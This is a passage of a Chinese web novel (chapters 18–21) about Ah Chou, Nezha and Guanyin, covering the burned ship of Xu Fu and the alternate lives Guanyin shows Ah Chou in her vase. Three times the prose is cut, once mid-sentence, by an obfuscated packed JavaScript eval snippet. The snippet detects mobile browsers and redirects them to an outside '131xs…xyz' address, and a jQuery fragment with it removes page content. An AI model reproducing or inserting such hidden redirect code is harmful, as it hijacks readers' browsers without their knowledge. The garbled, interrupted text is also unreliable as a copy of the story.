哪吒笑得直仰天,说:“我虽看着像个女孩,却是男儿,岂能当你老婆……”说完想起观音菩萨的情况,觉得更好笑了。 哪吒笑得眼泪都快出来了,趁着菩萨不在,说:“这样嘛,你虽有了老婆,但你没有老公啊!我勉为其难,让你凑个整齐。”这样一来,菩萨于他而言就是老婆的老婆,哈哈哈哈哈哈。 阿丑还在考虑是多一个老婆好,还是凑齐老公老婆好。 “啧!”哪吒却突然收敛了笑意,扯回混天绫踩着风火轮就跑。 阿丑没了混天绫绕着,直直往海里坠去。 忽一阵莲香清风卷来,缓缓托住了阿丑。身下一朵淡色莲花绽开飘浮,飘到云端一个华光宝气素纱衣的漂亮神仙边上。 观音柳枝一扫,天降甘霖熄灭大船的火。 又一扫,口中念诀,远处飞来一对风火轮,和一条混天绫,稳当落在手中。 “扑通——”一声,哪吒坠入海里,完全没了意气风发的模样,发起脾气更像个孩子,“师父那糟老头就不该把法诀告诉菩萨!” 云端的菩萨缓缓道:“三太子,你擅离天王殿……” “别别别,别告诉那老……我爹!哎呀,我知晓错了,菩萨,你把法宝还我,我立刻就走。” “……”阿丑目瞪口呆,大为失望,刚才说了那么多,竟一见了菩萨就认错?! 18. 那我避嫌 甘霖熄灭了大火,海岸边上的守卫们惊魂未定。 深夜的海水漆黑一片,月光洒落成粼粼波光,哪吒还泡在海里,仰望着高处的菩萨,嘴里虽说着求饶的话,神情仍带几分嬉皮笑脸。 观音看向身边飘浮莲台上坐着的阿丑,摇头道:“盗窃归还也就罢了,竟犯下纵火的罪孽来。” 阿丑没有把错误全甩哪吒身上,直接就承认了,说:“我连小船都没有,皇帝有那么多东西,更有这么大的船……这船太大了,就算我能拥有也带不走。但我不能留给他用,他要带着很多人去仙山找你,还要长生不老。这样的好事,我都没有呢。” “你随我修行,待功德圆满成正果,自有长生不老的时候。”观音轻柔解释,手掌微抬,莲花花瓣凋谢化作祥云,阿丑踩着的祥云靠拢过来,两朵祥云合并成一朵。 阿丑浑浊的眼睛盯着菩萨看了看,高兴地说:“我有长生不老的时候……他什么都有却没长生不老。那将这修行的好事给他,把他的东西全给我!好不好?” 观音摇头,问:“只因别人有你没有,带不走大船,就纵火焚毁?岂不是故意作恶。” 阿丑狡辩说:“船里没有人……怎么能算作恶……” 观音还想教诲,哪吒也从海里飞到云端,打断话头盯着自己被收走的法宝说:“哎呀菩萨,我都仔细看过的,肯定没有伤到人,火是我放的,我认错。” “三太子,你且慢,贫僧一会再说你。”观音虽对哪吒用着尊称,自己用着谦称,但神情言辞中,都似家长对调皮孩子的无奈。 哪吒连忙叫苦,看似认错,嘴上却贫,说:“我已诚心认错,可不是故意教坏菩萨的……丈夫的!嘿嘿。” “……”菩萨不语,只淡淡看了眼,哪吒噤声不再打趣。 而阿丑看着哪吒这嬉皮笑脸的样子,很是生气地踹了哪吒一脚,可惜凡人的力气没办法把他重新提到海里去。 “???”哪吒惊异道,“我帮你抗下罪责,怎还踢我?” 阿丑恼怒道:“你刚才把我丢海里,要不是老婆救我,我就淹死被海里的大鱼吃了!你要害死我啦!” “你在渔村长大,岂会淹死?”哪吒心头一惊,说完想起必定是没人教阿丑游水的,她又是凡人,不像自己当年,小小年纪就敢闹海了。 观音抬手,制止了他们的争论,兰花指向岸上指去。 “此事结下恶果,牵连者繁多。” 海岸上的守卫们本见大船起火已经摇响了警示铃,建筑里所有人都跑出来救火,却见天降甘霖,火势很快就小下去熄灭。 走在最后面的是一个穿着大袖袍的方士,拨开一个个少年的队伍来到最前,听守卫汇报情况。 “徐福大仙,我们也不知晓怎起的火,船停靠在此无人上船,诸多物件也都还没搬运上去呢。” 这位叫徐福的,便是对始皇帝说要去仙山为陛下求长生不老丹的方士,向皇帝要三千童男童女,若干甲兵护送,待童男童女凑齐便出发。 “怎会无端起火?这雨也来得及时。”徐福眉头紧拧,刚才火光之大,红霞一片。 那火是从未见过的红,与普通红偏黄的火不一样,它红得就像是血在燃烧。 徐福扫视众人,众人也盯着他,似乎都在等他的答案。 于是,徐福说:“此乃不祥之兆,海龙王知晓我们将出海寻仙,却不曾交过路费生气了。”他说时视线扫向还没凑齐的童男童女们,说,“便以童男童女各十,献祭给龙王。” 人群里顿时哭声一片,本身出海就危机重重,生死难料,竟还有提前必死的灾祸。 守卫长官的脸色也很不好,皇帝用于寻仙丹的船被焚毁大半,乃是他们这些守卫的失职!这一艘船耗费了诸多人力物力,更是花了两年才造成,皇帝陛下急于寻找仙丹,船毁了又要多花时间造船,无异于是拿皇帝的命在开玩笑。 守卫长官抽出佩剑,指着今日当值的几人,说:“将他们拿下!待天亮就押往咸阳发落!” 几名守卫跪地求饶,纷纷都说船上绝对没有会起火的东西,就连诸多物资都还没搬运上去,各组守卫行动从无单独者,既然徐福大仙说是海龙王降罪引火,那他们就是无辜的呀! “长官,我上有老下有小,我不能死啊!” “若是一刀痛快也就罢了,那车裂之刑,死无全尸啊!” 站在云端的两神将对话听得一清二楚,施法让阿丑也听清。 哪吒已然羞愧,低头说:“此事是我没想周全,我去与他们解释!施法将那船修好便是了,我也不愿害了无辜的人。” 菩萨摇头,看向阿丑,说:“阿丑,倘若你能解决此事,不让无辜者受罪,不仅免了你的错……”知晓阿丑只靠道理是说不通的,还是得以利益承诺,她喜欢钱财便许以钱财,“我身上的珠宝,你任意挑一件。” 哪吒大惊,什么珠宝?菩萨身上的那叫法宝!随意摘一件下来,都可以作为法器,邪魔不侵! 岂料阿丑眉头紧皱,摇头说:“我只烧了船,没有想要他们的命……那个叫徐福的说谎要把人送给龙王,是他的错呀。那个长官自作主张要把人杀掉,也不是我让他那么干的。是他们认为一艘船坏了,需要用那么多人命补偿,才会死那么多人。” “……”菩萨本将教诲,听闻此言不由默然。 “阿丑。”菩萨唤了一声,只是,此乃人间秩序,阿丑不愿跳出俗世红尘,她生活于此,就不得不去适应这些秩序规矩。 免错一说,打动不了她,她不觉得错。便继续以珠宝为切入点,菩萨说:“我这些珍宝,远比金子更难得,你难道不想要吗?” 阿丑全然不在意,认真地说:“我早就说过了呀,你是我老婆呀!你的就是我的,我的就是你的。我连心都可以分给你一块,难道你的珠宝分给我,还要另外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672505|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件吗?” 此时的哪吒:“……”哦!哦!这是我能听的吗? 哪吒连忙说:“菩萨,要不先把风火轮混天绫还给我?我……避嫌一下?” “三太子,此事你可逃不脱干系。”观音见阿丑态度坚持不认错,此事她的确并非主谋,哪吒带着她从破旧信宫飞到皇宫偷马车,又再飞到海边来用三昧真火烧凡人的船,若强求她认下罪责,以她的性子,只怕适得其反。 哪吒也想赶紧了结事情跑路,接过法宝就往海岸飞去。 他形象特别很容易辨认,海岸边众人很快就认出这是哪吒。众人视线落在哪吒的风火轮上,那火的颜色和刚才烧船的颜色非常接近。 哪吒施法将船修复,又与徐福等人说:“仙家圣地,非有缘人不可遇。皇帝虽有一统之功,却非仁德之君,无长生之机遇。”是想让徐福等人放弃出海寻找仙山的想法,也免得那童男童女共六千少年要冒死于海难的风险。 跪拜在地的众人沉默,待哪吒离开之后神情却并不轻松。 看守长官冷哼一声,对徐福说:“徐福大仙,同样是仙人,为何你也需跪拜?既然仙丹求不到,你又该如何复命?” 徐福冷笑,看向在场所有人,说:“从皇帝陛下想要仙丹开始,从船第一根木头搭建开始,我们就不能说找不到。难道你要将神仙的话,如实告知陛下吗?” 众人沉默良久,达成了默契。 船只完好无损,今夜无事发生,所有见闻不过一场梦,待到人齐,他们还是会出海去。 明月皎皎,深夜海面的风越来越冷。 阿丑有些冷,半点没有做了错事争辩后的疏离,直接就往老婆怀里钻,如同动物畏寒的本能,只是菩萨也没有什么温度,只能遮遮风。 她仰头说:“你看,哪吒放的火,他们完全没有责怪,不就说明放火没错吗。” “……”观音摇头不语,眉头浮现少许担忧。 所窥见的两个须臾,因这缘故失去了平衡,纵火的虽是哪吒,主意是由她起的,却不愿认错,此是罪孽,便更偏地狱苦难的须臾。 想要消度可不容易,除非……已经打定主意,这也是没有办法的办法。 只是,泄露天机,将遭罪责。 哪吒处理完了自己闯的烂摊子后,本想跑路回天庭去,心里头又实在对菩萨嫁给个丑姑娘这事好奇。他相信菩萨是为了度人,做出这样古怪的事情皆是出于慈悲之心,但这姑娘不像寻常人懂道理,好些话总能噎到菩萨,很是有意思。 哪吒厚着脸皮什么话也不说,就直接跟着一起走。 阿丑还在记恨差点掉海里的事情,坐在云上瞪着跟随在后的哪吒,哼,幸好没答应他加入这个家。 观音带着阿丑回到了破旧信宫落脚,将柳枝从净瓶中取走,特意仔细看了看净瓶,笑着与阿丑说:“阿丑,你来看看,这瓶子里有个人与你长得一模一样。” 19. 瓶阎浮提 阿丑是个凡人,大半夜出去偷东西还放火,又差点掉海里,此时回到落脚处已经是哈欠连天,正拽着观音的广袖想要当被子盖,却听他唤了自己一声。 听到瓶子里居然会有人?而且还是和自己一模一样的人,阿丑立刻就精神十足,凑过去盯着瓶口往里看。 遮住了光线,瓶中本该漆黑一片,可一眼看下去,却如在天空俯看人间。 阿丑看见了自己,看见了自己生长的小渔村,还有已经多年不见忘记了面容的爹娘和哥哥。 “这是什么?为什么我在瓶子里?”阿丑一边问一边看,实在觉得新奇,以及一种说不出的感觉,似是少许恐惧。她害怕瓶子里的那个自己,也会被父母抛弃,过着饿肚子的生活,没有钱,也没有老婆。 观音垂目,缓缓道:“这是阎浮提。” 阎浮提就是人间的意思,瓶中的人间,是人间却又不是这个人间。 一起回来的哪吒也凑近过来看了看,惊叹道:“我只知晓菩萨的净瓶能装四海之水,竟还能装下一个阎浮提。” 观音摇头,说:“为真为假,亦真亦假,是此阎浮提之须臾幻境。” 这就是眼下能想到度阿丑的办法,她混沌冥灵又固执不改,今生难以脱离苦海,长此以往恶念不收,死后更将有无间地狱之刑。要她远离苦海,就得让她知晓苦海之苦,由此而改善行。 瓶中阎浮亦真亦假,是为一个须臾。是此前、是此后,因一念之差而形成的可能。 凡人不可窥瓶中阎浮提,如知天机必然更改,而牵动因果无数。 观音慈悲地垂眸看着阿丑,泄露天机者,将负罪孽。阎浮提最新最纯粹的魂魄,却以万般苦厄迎接,本就是神佛失察的罪孽。 “阿丑,你看。”至此,观音已背负泄露天机的罪孽。 阿丑认真地看着瓶子的自己,许多事情都没有变化,父母将她抛下,她成了一个恶霸,小渔村的村民们都讨厌她害怕她憎恨她。不同的是,菩萨并未来此普度,英娘也没有理解她的苦难,只有严苛的律例一如既往地铺展到此。 “啊!” 那个阿丑被砍掉了一只手,鲜血淋漓摔在地上打滚哀嚎,村镇上没有大夫愿意医治她,她的伤口溃烂,受着重伤也没有人给她施舍食物,没多久就病重饥寒死去。 “……”阿丑的眼睛离开净瓶,惊出一身冷汗,幸亏老婆来度自己了。 阿丑心里虽喜悦自己躲过一死,但又对瓶子里的阿丑惨死心有不甘,她念叨说:“这个阿丑肯定不是我,我差点被砍手的时候,咬伤了那人逃跑了的!” 刚说完,净瓶口可以看到淡淡的光晕变化,阿丑又凑过去看。 瓶中的时间回到了阿丑被砍手之前,如她刚才所言,瓶中阿丑咬伤了游徼逃跑。只不过没有在山上遇到哪吒和山神,她抱着一罐子的钱币,逃到了隔壁的村镇。 “哼哼,我在这个村子肯定也能再得到一罐子钱,我每去一个村子就能得到一罐子钱,这样我就会有很多很多钱。”随着她的想法说出,瓶中的阿丑变本加厉地抢夺财物,被新上任的官吏下令围剿,将她捉拿斩首。 “啊!”阿丑又惊呼一声,再次改口,“不对不对,如果老婆没来度我,那天我本就是要离开小渔村的,就不会有游徼要剁我手。” 瓶中光晕再次变化,时间来到她想离开村子去陌生地方找一个不认识也不害怕自己的老婆时。这次她没有在村口遇到丑渔女,也没有遇到任何神仙。 离开小渔村的阿丑没有谋生手段,还少了海边捉鱼的选项,仍旧是只能以偷盗为生,只不过她频繁更换地方,让人们难以捉拿她。 这一回瓶中阿丑双手完好,在某次换村子的路上遇到了一个在吆喝管饭的人,说只要搬点东西就能得到钱和吃的,阿丑也想去,但她面貌丑陋哪敢让她一起。 一名方士却偷偷跟踪她,将她当做妖怪捉拿,献给了皇子胡亥。瓶中阿丑一见胡亥便嚷嚷起来:“亡秦者胡!亡秦者胡!” 胡亥吓得将阿丑关起来,就像怪物那样在一个狭小的铁笼子里,又不敢直接杀了她。一直等到始皇帝驾崩葬进皇陵,成为新皇帝的胡亥下令,将阿丑勒死埋在了皇陵门口的石砖下,不知是想用谁镇谁。 “……”阿丑气急败坏地抢过净瓶,“那个皇宫里面就没有好人!怎么都想要我的命!他们……他们为什么不怕我呀?我那么吓人,为什么不怕我呢?” 菩萨说:“相貌是外物,因此称为外貌,世间有更多比外貌令人生畏的东西。” 阿丑不甘心,回想刚才瓶中所见的事,说:“哼,我自知丑陋吓人,又多偷盗被通缉,遇到人多应该蒙面呀!” 瓶口光晕再次变化,瓶中阿丑在遇到搬东西管饭的那人后,将脸遮住,和他们一起干活。嗯,干活换钱和吃的,这就是老婆说的生活吗。哦……这个阿丑没有老婆。 瓶中阿丑跟着一群人往远方去,到了才知道是被骗来修长城的,不过她不在意,有吃的和钱就行,搬石头不像偷盗会被砍手呀。 没多久,瓶中阿丑在搬石头时因为偷懒被抽了鞭子,没站稳从山坡滚了下去,其他人下意识想救她也导致手里石头掉落,摔下去的阿丑被石头砸死了。 “我!我为什么又死了呀!偷懒也是死罪吗?难道这个阎浮提,就是不让我活吗?!”阿丑恼火得将净瓶砸在地上发出嗵的一声,没有破碎,而是滚落到了菩萨的脚边。 观音将净瓶捡起来,说:“阿丑,心怀善念,方能改过自新,才有新的可能。” 一旁哪吒越看越不痛快,世道如此,又怎是个人善恶的缘故,哪吒不能理解佛家的想法,尤其是想到了李靖手中由佛祖所赐的宝塔。 他若叛逆不听话,就要被收入宝塔关禁闭。 瓶中阿丑,虽是幻象,何尝不是一种禁闭手段,若不肯改过,便要一遍遍死去。人一遍遍看“自己”受苦受难,由此生出惧怕,亦如驯马训狗。 哪吒沉着怒气,到信宫外透气。 月色已经被逐渐变亮的天衬托得淡,天边尽头已能见朝云微微,少许红霞。 耳畔的风微微吹拂,时不时能听到室内阿丑传来的惊呼惨叫声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675902|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哎呀!为什么我又死了!!我当强盗要被杀,这回我杀了强盗,为什么也算杀孽?!” 不甘心的阿丑再次从菩萨手里抢过来净瓶,这回她仔细分析,看着菩萨说:“之前那些都不对,我既然已经有你当老婆了,为什么我还要去想根本不会发生的事情。我没有老婆,这事已经不存在了呀!” 阿丑很快调整好了心情,高高兴兴地向净瓶里看去,嘀咕着:“桀桀桀,都等着,神仙老婆来给我撑腰了!我打烂你们的头!” 菩萨垂眸,视线落在净瓶上,这一回,瓶中景象大为不同。 瓶中,即为此时。 瓶中阿丑坐在信宫之中,身边同样端坐着菩萨,手中也拿着净瓶正在观看无数可能。 瓶中阎浮提的信宫屋顶,是阿丑窥探此间的浑浊眼睛。 “我又死了,真没意思。”瓶中阿丑归还净瓶,休息了一天,之后都按照菩萨所计划各处显露神迹,让皇帝主动来找他们。过了一些日子,皇帝真的来找神仙了,观音再次化作白须老者,带着阿丑一起进宫。 瓶中观音千叮咛万嘱咐,千万不要犯事,否则自己也救不了她。 瓶中阿丑点点头应下,在见到金碧辉煌的皇宫后又起了贪念,顺走了装果酒的玉杯,被一名叫赵高的宦官发现,当场揭穿告发到皇帝面前。 瓶中阿丑将她“你有那么多,分我一点怎么了”的想法与皇帝说来,皇帝起初乐呵呵当笑话,听到她要砍他手更是笑得多喝两杯酒,甚至还扔去一把剑,让她动手。 毫无疑问,瓶中阿丑信了,真捡起剑就刺过去,立刻就被近卫按住。 皇帝的笑容不见了,判瓶中阿丑与老者车裂之刑。 瓶中阿丑被五条绳索绑住了脑袋和四肢,瓶中菩萨在此时现出真身,却并未施救,失望道:“阿丑,你又作恶,我也救不了你。”说罢,竟转身就腾云离开。 瓶外的阿丑大惊失色,拉着身边的老婆说:“你怎么能不救我呢!你快去救我呀!” 瓶外的观音摇头,以净瓶阎浮提给阿丑看,就是为了让她知晓错误,亲眼见到错误对应的惩罚。即便是与神佛成为夫妻,神佛也不会偏私,赏善,罚恶,如是而已。 她只需要像之前一样,再次改变自己的想法,从阎浮提无数死路里,排除出一条正果善道。 瓶中的阿丑对菩萨来说,只是须臾的可能,是幻象,是要去掐灭的、会导致真阿丑坠入无间地狱的可能。要救她,就得先杀灭她心里的恶念。 但对阿丑来说,是另一个自己。 阿丑盯着净瓶里将要车裂的自己,落下一滴眼泪。她就算讨厌世界上所有人,甚至讨厌菩萨老婆,她也不会讨厌粗鄙丑陋罪恶的自己。 之前一遍遍死,她不认命,一遍遍改。改到这一遍,她认为是自己没有神仙帮助的缘故。 可是有了神仙老婆,也不会无条件帮她,必须要先听话。 眼泪落进净瓶里,阿丑的三魂七魄也飞了进去,只有自己能救自己了。 “阿丑!”观音惊呼一声,眼中竟闪过一丝慌张。 20. 观音地藏 观音所窥见属于阿丑的两个须臾,一个是不加修正作恶行凶,将坠入地狱的阿丑。一个是受佛法感化,从此向善,是菩萨希望她成为的模样的阿丑。 而瓶中阎浮提是以阿丑本心为基础,幻化无数须臾的可能,亦真亦假。每一个都可能成真,每一个也都可能不会发生。 但是,当阿丑的三魂七魄进入到瓶中,瓶中阎浮提就不再是虚假,将由她亲自挑选一条最终的道路。 “阿丑。”观音看了眼阿丑的躯壳,向着瓶中唤一声。 来到瓶中世界的阿丑毫不犹豫跑向被绳索绑着的自己,监察的官吏手中持着令旗,只待一声令下,五匹马就会狂奔起来将人撕裂。 阿丑去夺刀,砍掉了持令旗的手,现场顿时慌作一团。 “妖怪的同伙来了!!”围观的人们惊呼一声作鸟兽散,执行的几人不敢怠慢,如此形势不能再等令旗,直接就抽马儿的鞭子让马奔跑起来。 “不要杀我啊!”阿丑挥着刀冲过去,牢牢握住瓶中阿丑的手试着将绳索砍断救自己。 但就在碰到瓶中阿丑的手瞬间,瓶中阿丑消失了。 阿丑来到了瓶中,阿丑便成了瓶中阿丑。 没有了死囚的五匹马飞快地奔跑出去,各自身后只拖着空荡荡的锁套。 阿丑拍拍自己的胸膛,说:“没事,我救到我自己啦。”至于以后的事情,总得是先活下来再说的。 阿丑逃跑离开了刑场,离开了都城。她已经成了人们眼里伤人的妖怪,被通缉悬赏,赏金百两。 那些见了她尖叫害怕的普通老百姓们也都不怕她了,深夜都还打着火把寻找她。 “为什么呢?难道我的脸又变好看了,吓不到他们了吗?”阿丑摸着自己的脸离开了秦国,漫无目的地随便找了个方向去。 在瓶中世界待了几天,她忘记了自己从瓶外来,只记得行刑那天老婆抛下自己,说一句失望就走了。 “神仙也说谎!什么有求必应嘛,呸!我要换一个老婆,不,换好几个老婆!就是不要他了!”阿丑是个十分记仇的人,所以从那天起就真的再也没有向神仙求过什么。 瓶外,观音眉头拧起,瓶中阎浮提此时蒙上了一层雾,代表阿丑已经迷失在瓶中,忘记了自己并不属于那个世界。 “阿弥陀佛。”观音闭目,分一缕元神进入瓶中。 瓶中世界看似与外界无异,时间流速却不同,所以才能以一瓶窥一生。 观音掐指寻算,才找到那方位过去,不过是一盏茶的功夫,瓶中阎浮提却已经过了十年,所以每每都寻不到阿丑,只能听到当地人口中流传的些许言语。 自然都不是什么好话,抢了多少东西,伤了多少人,害了多少的命。 “……”观音已被牵动心神,没有了约束的阿丑是一定会如同野兽那样,趋于本能。 阎浮提的时间流逝太快,已经百年过去,而这一百年里,观音都不曾受到阿丑的感召,哪怕她自言自语抱怨一句菩萨什么话,都没有。 瓶中世界虽是阿丑本心基础,但净瓶乃是观音法宝,照理来说一切动向都该明了才是。 观音心中疑惑,往西牛贺洲灵山而去,到雷音寺见佛祖问询。 大雄宝殿内,诸菩萨罗汉在座。各法相为瓶中假象,佛法却为真。瓶中观音看见了观音,二者双手合十顶礼,等候佛祖的指示。 “一切有为法,如梦幻泡影,如露亦如电,应作如是观。”佛祖已然看破此间虚妄,指尖轻抬,一道金光飞向观音,将一件法器赠予,又说,“去路虽不知晓,尽头已是注定。可传佛碟皈依,超度亡魂,以此约束,避免将来再作恶。” 观音接过法器,双手合十。 伴随佛祖一声叹息,雷音寺诸佛罗汉菩萨,以及座下听经的僧侣,都纷纷化作金粉幻灭。 观音立在云端,发现不仅仅是灵山正在幻灭,北俱芦洲、东胜神州、西牛贺洲、南蟾部洲,都在一点点幻灭。 “……”观音皱眉,所谓尽头,便是无间地狱。 无间地狱中,关押了无数犯下罪孽的鬼魂。无论原因,只要犯下偷盗、抢劫、伤人、欺骗、纵火、诋毁佛法等罪孽,都将打入无间地狱。 正如佛祖所说,不知她走了怎样的路,但因为有这些罪孽在,最终一定是在无间地狱里。 判官正站在无间地狱的岸上,宣读着新来的恶鬼的罪孽,说:“你之罪罚,将入无间地狱,永远悔过。” 被铁链绑着手的阿丑没觉得可怕,问:“悔过了就放我出来吗?” “哼,犯下这么多罪孽,岂会有出来的时候!” “那我悔过什么。”阿丑态度恶劣,到了地狱也不认错,甚至还在诋毁佛法,“其他罪责也就罢了,被偷东西我也生气,受了伤我也会恨。可说一句神佛坏话凭什么将我扔到这破地方,我听别人骂我丑都不生气呢,神仙怎还那么小气!” 判官回答不上。 阿丑视线环顾地狱的情况,想要找到能逃走的路,看见一道熟悉又陌生的身影来到这阴曹地府。 阿丑第一次在观音的脸上看到急切,她眨眨眼没有先说话,就只是平静地看着。 洁白飘渺的纱,随着脚步的挪动摇摆,步步生莲,最终站到阿丑面前,问:“阿丑,人生百年,你遇到诸多事情为何不唤我?也不至于落到如此境地……” “你打诳语!”阿丑打断了观音的话,说,“求你救命的时候都不肯,还有什么事是能肯的?既然求一次不成,今后就都不求了。” “此间为幻境,并非是不救,是由死而生。” 阿丑听不懂,转过身去看着满是岩浆与血水的无间地狱,里面无数的鬼魂哀嚎着。阿丑撇撇嘴,眼神逐渐坚定,自己跳了下去。 当感觉到痛的时候,眼泪便不受控制,汹涌地从眼眶里涌出来。 阿丑强忍着不想掉眼泪,可魂魄被焚烧是无法忍受的痛,她咬牙切齿地说:“只要我在地狱里,就说明神仙根本不慈悲。如果慈悲,世界上就不会有我阿丑……只有我自己能救我,可我现在困在了地狱里。” “阿丑,我是来救你的,离开地狱,离开这个瓶中世界。”观音怜悯道,“只要你有一丝悔意,愿皈依佛门,可免去你的罪孽回到人间,今后向善以修行弥补。” 观音坐在无间地狱边缘,俯首伸出手。 阿丑恍惚地递过来手牢牢抓住,却没有答应皈依,她仰头看着那慈悲的面容,对上那双终于像活人一般有担忧的眼睛。 观音也看着阿丑的眼睛,那双浑浊的眼睛被眼泪一遍遍冲刷,忽如破碎的蛋壳脱落一片尘埃。露出一角明亮透彻如同琉璃水晶的眼睛,躲藏在浑浊的后面,此时不是菩萨穿透眼睛看着阿丑的魂魄,更像是阿丑穿透浑浊的眼睛,看向菩萨的魂魄。 阿丑问:“老婆……菩萨,你度我是为度我?还是为了让佛祖多一个皈依的人?我都受着这样的苦了,你说来救我,却要我先办到你要求的事情。” 观音顿住,与那双独特的眼睛对视良久。 究竟是为度人才弘扬佛法,还是为了弘扬佛法而冠以度人之名? 观音没有松开拉着阿丑的手,但移开了对视的眼睛,无法回答这个问题。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687296|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 观音已经做出了选择,竟也落入无间地狱之中,惊得岸边的判官连连惊呼。 “佛法只度虔诚信徒,你不皈依也非信众,我不能以佛法度你。我度你。”话罢,观音盘膝双手合十悬坐在无间地狱的岩浆血水上,“你自小被父母抛弃,神灵本有庇佑之责,我未尽责,是为失父母之职。因普度与你结为夫妻名分,夫妻同心,遇难却因失望将你抛下,亦为失夫妻职。我坐狱中,你往人间去。” 地藏菩萨为度地狱恶鬼愿永不见天日,而观音万相,亦可化作地藏。 佛祖所赠法器,是一个金箍,此时也被抛入岩浆血海,再看不见。 “……”阿丑愣住。 观音俯首,再次看向那双独特的眼睛,说:“阿丑,我希望你远离苦厄,不会踏入地狱。此为瓶阎浮提,待你离开后,不必以行善报答,不必供奉佛法,也不必记得此事。” “……”阿丑不信能有这样的好事,又问,“我要是再作恶,不还是要再下地狱。” 观音说:“阿丑,这个阎浮提由你心念所化,我留此间,我亦为阿丑。你心中有我,你亦为观音。今后你若偷窃伤人,罪责皆在我。” 阿丑不信菩萨会没有任何要求救自己,从认识至今,总是劝她向善向善,最开始就立下了作恶就回娘家的约定。 可当菩萨说完这句话后,她当真感受不到炼狱里的痛苦了。 “其实我刚才我还在讨厌你,想要把你拉下来一起受罪。可是你现在对我这么好,我又不忍心你替我受罪。”阿丑嘀咕着,“可是,我也不想一起受罪,如果这真的是一个瓶子世界,我们一起出去不好吗?” 观音正要回答,见她身边的判官和其他鬼竟也都在一一幻灭。 感知而万象生,不见而万象灭。观音知道为什么四大洲也幻灭了,这是阿丑的世界,她认为再也去不到的地方,对自己来说和不存在是同样的。 一个凡人,竟能心念掌控一个阎浮提的生灭。 观音恍惚想到数千年前,佛陀释迦摩尼第一次到人间。一手指天,一手指地,说:天上天下,惟我独尊。 此我非指释迦摩尼一人,而指众生之我,本我、自我,是不生不灭,不垢不净,不增不减的我。 阿丑亦有佛陀之境。 阴暗的地狱上方,逐渐出现一道光,阿丑仰头看去,可以看见一个盯着瓶子失了魂魄的自己。 她想起来了,自己的确是从瓶子外面来的。 “不,这个阿丑不是我!”阿丑突然惊呼一声,她记得起因是瓶中阿丑觉得反复死太无趣,便归还净瓶,之后与菩萨一起被皇帝请进宫,于是有了灾难。 但是,她不会停止改变自己的死亡,她只会一次次救自己,绝对不会把救自己当成是一件无趣的事情。 “我知道了,这里都是假的!” “一切有为法,如梦幻泡影,如露亦如电,应作如是观。”① 瓶外的观音轻诵一声,阿丑三魂七魄归位。 阿丑回过神来再次看向瓶中,此时瓶中漆黑一片,那个阎浮提世界已经消失了。 观音垂眸不语,阎浮提没有消失,只剩一个无间地狱留在了阿丑的心里,而观音的一缕元神也留在那,以自身消磨阿丑以前以后的种种罪孽。 阿丑刹那的觉悟,已经超脱接近佛陀。 那一缕元神即便将来消磨完了罪孽,也因刹那的境界差距而无法离开。 大圆满的观音尊者,此时的元神残缺了一缕,就这样囚困在阿丑心里。 回来的阿丑眼睛又是那样浑浊,可观音已经不敢看她。 21. 你也嫁我 瓶中过去百年,瓶外不过一盏茶的功夫。 观音垂眸不语,默问自己所谓大圆满究竟是否圆满?自己行走人间普度众生,弘扬佛法,西牛贺洲信众常颂救苦救难观音菩萨,千处祈求千处应,祈福、避祸、富贵、健康、子嗣、姻缘,都可得到回应。 苦海无边,以慈悲作渡人舟。 那么,同样疾苦,不知观音,不知佛祖菩萨,不知佛法者,却必定永沉苦海吗?岂不是成了,不信我者入地狱? “老婆?我们都从瓶子里出来了,你怎么看上去不高兴?”阿丑的声音唤回思考的神念,观音下意识循声看去,看到阿丑就凑在咫尺。她以凡人之躯经历百年幻境,此时离开瓶子并未忘记瓶中之事,却全然没有受到影响? 本以为她会记恨百年里所受的苦,记恨神仙不去救她。 幻境,就连很多仙人都被欺骗困在其中。离开后即使能分辨真假,也仍旧会被幻境中的“可能”而影响心境,因此形成劫数。虽为幻境,发生过的记忆是真,亦真亦假,如烟雾缠绵,挥之不去,境界越低者,受到影响越大。 “阿丑,你对瓶中的结局,不恨吗?” “恨?恨什么?”阿丑疑惑地思考着,“即便是将来会发生的事情,可我现在……坐在这里呀。” 过去都是消失的虚假,将来都是未知的虚妄,唯有今朝。 菩萨点头轻笑,以阿丑的悟性能够完全跳出瓶中的情绪,似乎也在预料之中,反而自己对瓶中无法观察到的百年存在了好奇。 “阿丑,从瓶中观音离开刑场后,你等了多久。” 阿丑眨眨眼,认真说:“没有等,他离开的时候没说会回来,我就没有等。”说完,她突然笑起来,凑近些许到观音跟前,又说,“但你之前回娘家的时候,说了会回来,所以我等了你很久。等太久了,我就出来找你,就被我找到啦。” 